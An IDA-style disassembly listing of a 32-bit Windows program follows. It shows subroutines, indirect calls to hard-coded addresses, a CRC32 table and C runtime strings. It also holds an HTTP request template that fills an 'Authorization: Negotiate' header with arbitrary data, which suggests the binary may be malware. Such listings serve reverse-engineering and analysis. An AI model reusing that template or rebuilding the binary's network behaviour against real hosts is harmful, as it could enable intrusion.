		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2670000h
		nop
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2670000h
		nop
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi


loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------


loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------


loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2830000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D


loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------


loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax


loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0


loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1


loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43C9DC
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------


loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05


loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]


loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBC70
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427938
		push	esi
		nop
		call	near ptr 2620535h
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------


loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CB50C
		push	esi
		push	edi
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax


loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4DBC70, eax


loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2620535h
		jmp	loc_426DC6
; ---------------------------------------------------------------------------


loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4DBA24
		mov	[ebp+arg_10], eax


loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 282106Dh
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 282106Dh
		nop
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4DBA14


loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2630000h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------


loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax


loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F74o

; FUNCTION CHUNK AT 0040D4A9 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A9
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------


loc_426DF7:				; DATA XREF: sub_40D07Do
		mov	eax, offset dword_427F48
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E0C:				; DATA XREF: ___:00427FA4o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E14:				; DATA XREF: sub_40D21Fo
		mov	eax, offset dword_427F78
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h


loc_426E20:				; DATA XREF: sub_40D78Co
		mov	eax, offset dword_427FA8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428008
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280C4
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280E8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428148
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 25E0000h, 25F0000h, 2600000h, 26006D9h, 2610000h, 2610AF2h
		dd 2620000h, 26204EDh, 2620535h, 2630000h, 2630738h, 2630CDBh
		dd 2640000h, 26406D8h, 2640906h
dword_42703C	dd 264093Fh		; DATA XREF: ___:004231D9r
		dd 26409AEh, 2640C8Ch, 2640CC2h, 2650000h, 2660000h, 2670000h
		dd 2680000h, 26803A4h, 26808ECh, 77E75CB5h
dword_427068	dd 2680920h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2680D3Bh, 2690000h, 2690AE2h
dword_427078	dd 2690F24h		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Cr ...
dword_42707C	dd 26A0000h		; DATA XREF: ___:004015E2r
					; sub_410CD6+32r
		dd 26A024Dh
dword_427084	dd 26A02EDh		; DATA XREF: sub_4196BD+B9r
		dd 26A087Ah
dword_42708C	dd 26A08EAh		; DATA XREF: sub_410FF9:loc_41108Ar
dword_427090	dd 26A095Dh		; DATA XREF: ___:loc_4013DCr
		dd 26A0DB0h, 26A0ED2h
dword_42709C	dd 26B0000h		; DATA XREF: sub_409B13+2r
		dd 26B0152h, 26B01F6h
dword_4270A8	dd 26B084Fh		; DATA XREF: ___:0040124Dr
					; sub_41A4D2+8Cr
dword_4270AC	dd 26B092Eh		; DATA XREF: sub_410CD6:loc_410DC2r
		dd 26C0000h, 26C0B59h
dword_4270B8	dd 26D0000h		; DATA XREF: sub_409B13:loc_40A021r
dword_4270BC	dd 26D04BFh		; DATA XREF: sub_409B13+11r
					; sub_416F1B+60r ...
		dd 26E0000h, 26E0BCCh, 26F0000h, 26F08BFh, 77F7E300h, 77F7E21Fh
		dd 26F0E8Eh, 2700000h, 2700649h, 2710000h
dword_4270E8	dd 27102B0h		; DATA XREF: sub_410FF9+Br
dword_4270EC	dd 2710A6Ah		; DATA XREF: sub_418294+36r
		dd 2710C85h, 2720000h
dword_4270F8	dd 2720571h		; DATA XREF: sub_410F20+3Ar
					; sub_419C65+79r
dword_4270FC	dd 2730000h		; DATA XREF: sub_410E27+23r
					; sub_419C65+3Br
		dd 2731389h, 2740000h, 2750000h, 27504DCh, 2760000h, 27606A6h
		dd 2770000h, 2780000h, 2780BA1h, 2780E8Fh, 2790000h, 2790102h
		dd 2790A53h, 27A0000h, 27A03D6h
dword_42713C	dd 27A060Dh		; DATA XREF: sub_416F1B+BCr
		dd 27B0000h
dword_427144	dd 27C0000h		; DATA XREF: sub_4170ED+21r
					; sub_417276+4Ar
dword_427148	dd 27C0C89h		; DATA XREF: sub_4170ED+10r
					; sub_417276+40r ...
		dd 27C0CF2h
dword_427150	dd 27D0000h		; DATA XREF: sub_417276+56r
		dd 27D02E4h, 27E0000h, 27F0000h, 27F06B4h, 2800000h, 2800351h
		dd 280051Ah, 2810000h, 28106EFh, 2820000h
dword_42717C	dd 282106Dh		; DATA XREF: sub_418B59+13r
					; ___:0042324Er ...
dword_427180	dd 2830000h		; DATA XREF: sub_418C2B+Fr
					; sub_41D834+54r ...
		dd 283104Dh, 2831584h, 28319BEh, 2831C8Ah, 2840000h, 2850000h
		dd 2860000h, 2870000h, 2880000h, 2890000h, 289194Dh, 2891965h
		dd 28A0000h, 28A0DD6h, 28B0000h
dword_4271C0	dd 28B04D6h		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 28B05EFh		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 28B06F1h, 28C0000h, 28C07ABh, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412661+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE3+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427638	dd 2Eh			; DATA XREF: sub_401ACD+347Do
					; sub_401ACD+356Do ...
dword_42763C	dd 2Eh			; DATA XREF: sub_401ACD+389Do
					; sub_401ACD+38D3o ...
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21F+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_427680	dq 1.388888888888889e-2	; DATA XREF: sub_40D031+2Fr
dbl_427688	dq 1.666666666666667e-1	; DATA XREF: sub_40D031+15r
dword_427690	dd 0FFFFFFFFh		; DATA XREF: sub_40D07D+16Fr
					; sub_40D4B1r ...
		align 8
dbl_427698	dq 1.333333333333333	; DATA XREF: sub_40D07D+79r
dword_4276A0	dd 0			; DATA XREF: sub_40D21F+4Do
					; sub_40D561+5Bo ...
flt_4276A4	dd 5.0e-1		; DATA XREF: ___:0040DD34r
dbl_4276A8	dq 9.765625e-4		; DATA XREF: ___:004166B7r
					; ___:004166D2r ...
dbl_4276B0	dq -1.52587890625e-4	; DATA XREF: sub_417ADE+3E5r
dbl_4276B8	dq 3.0517578125e-4	; DATA XREF: sub_417ADE+3C5r
dbl_4276C0	dq -3.0517578125e-4	; DATA XREF: sub_417ADE+342r
					; sub_417ADE+3A7r
dbl_4276C8	dq 1.52587890625e-4	; DATA XREF: sub_417ADE+271r
dbl_4276D0	dq -1.739501953125e-3	; DATA XREF: sub_417ADE+24Br
					; sub_417ADE+2D5r ...
dbl_4276D8	dq 3.11279296875e-3	; DATA XREF: sub_417ADE+E1r
dbl_4276E0	dq 3.0517578125e-5	; DATA XREF: sub_417ADE+AEr
					; sub_417ADE+138r ...
dbl_4276E8	dq 6.103515625e-5	; DATA XREF: sub_417ADE+93r
					; sub_417ADE+308r
dbl_4276F0	dq 2.288818359375e-3	; DATA XREF: sub_417ADE+21r
dbl_4276F8	dq -3.0517578125e-5	; DATA XREF: sub_418685+2Br
flt_427700	dd 9.765625e-4		; DATA XREF: sub_41A4D2+1B0r
flt_427704	dd 8.0			; DATA XREF: sub_41A4D2+1AAr
flt_427708	dd 0.0			; DATA XREF: sub_41A4D2+171r
flt_42770C	dd 1.0e-3		; DATA XREF: sub_41A4D2+168r
dbl_427710	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_427754	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43CBF4o
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43CBF0o
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43CE6Co
dbl_427878	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427880	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427888	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 10h
dword_4278C0	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 10h
		dd offset sub_422228
		dd offset sub_422232
dword_4278E8	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_4278F8	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427908	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 8
		dd offset loc_422599
		dd offset loc_42259D
dword_427920	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 10h
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427938	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427940	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43D03Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 4
asc_427C08	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 8
dword_427C48	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
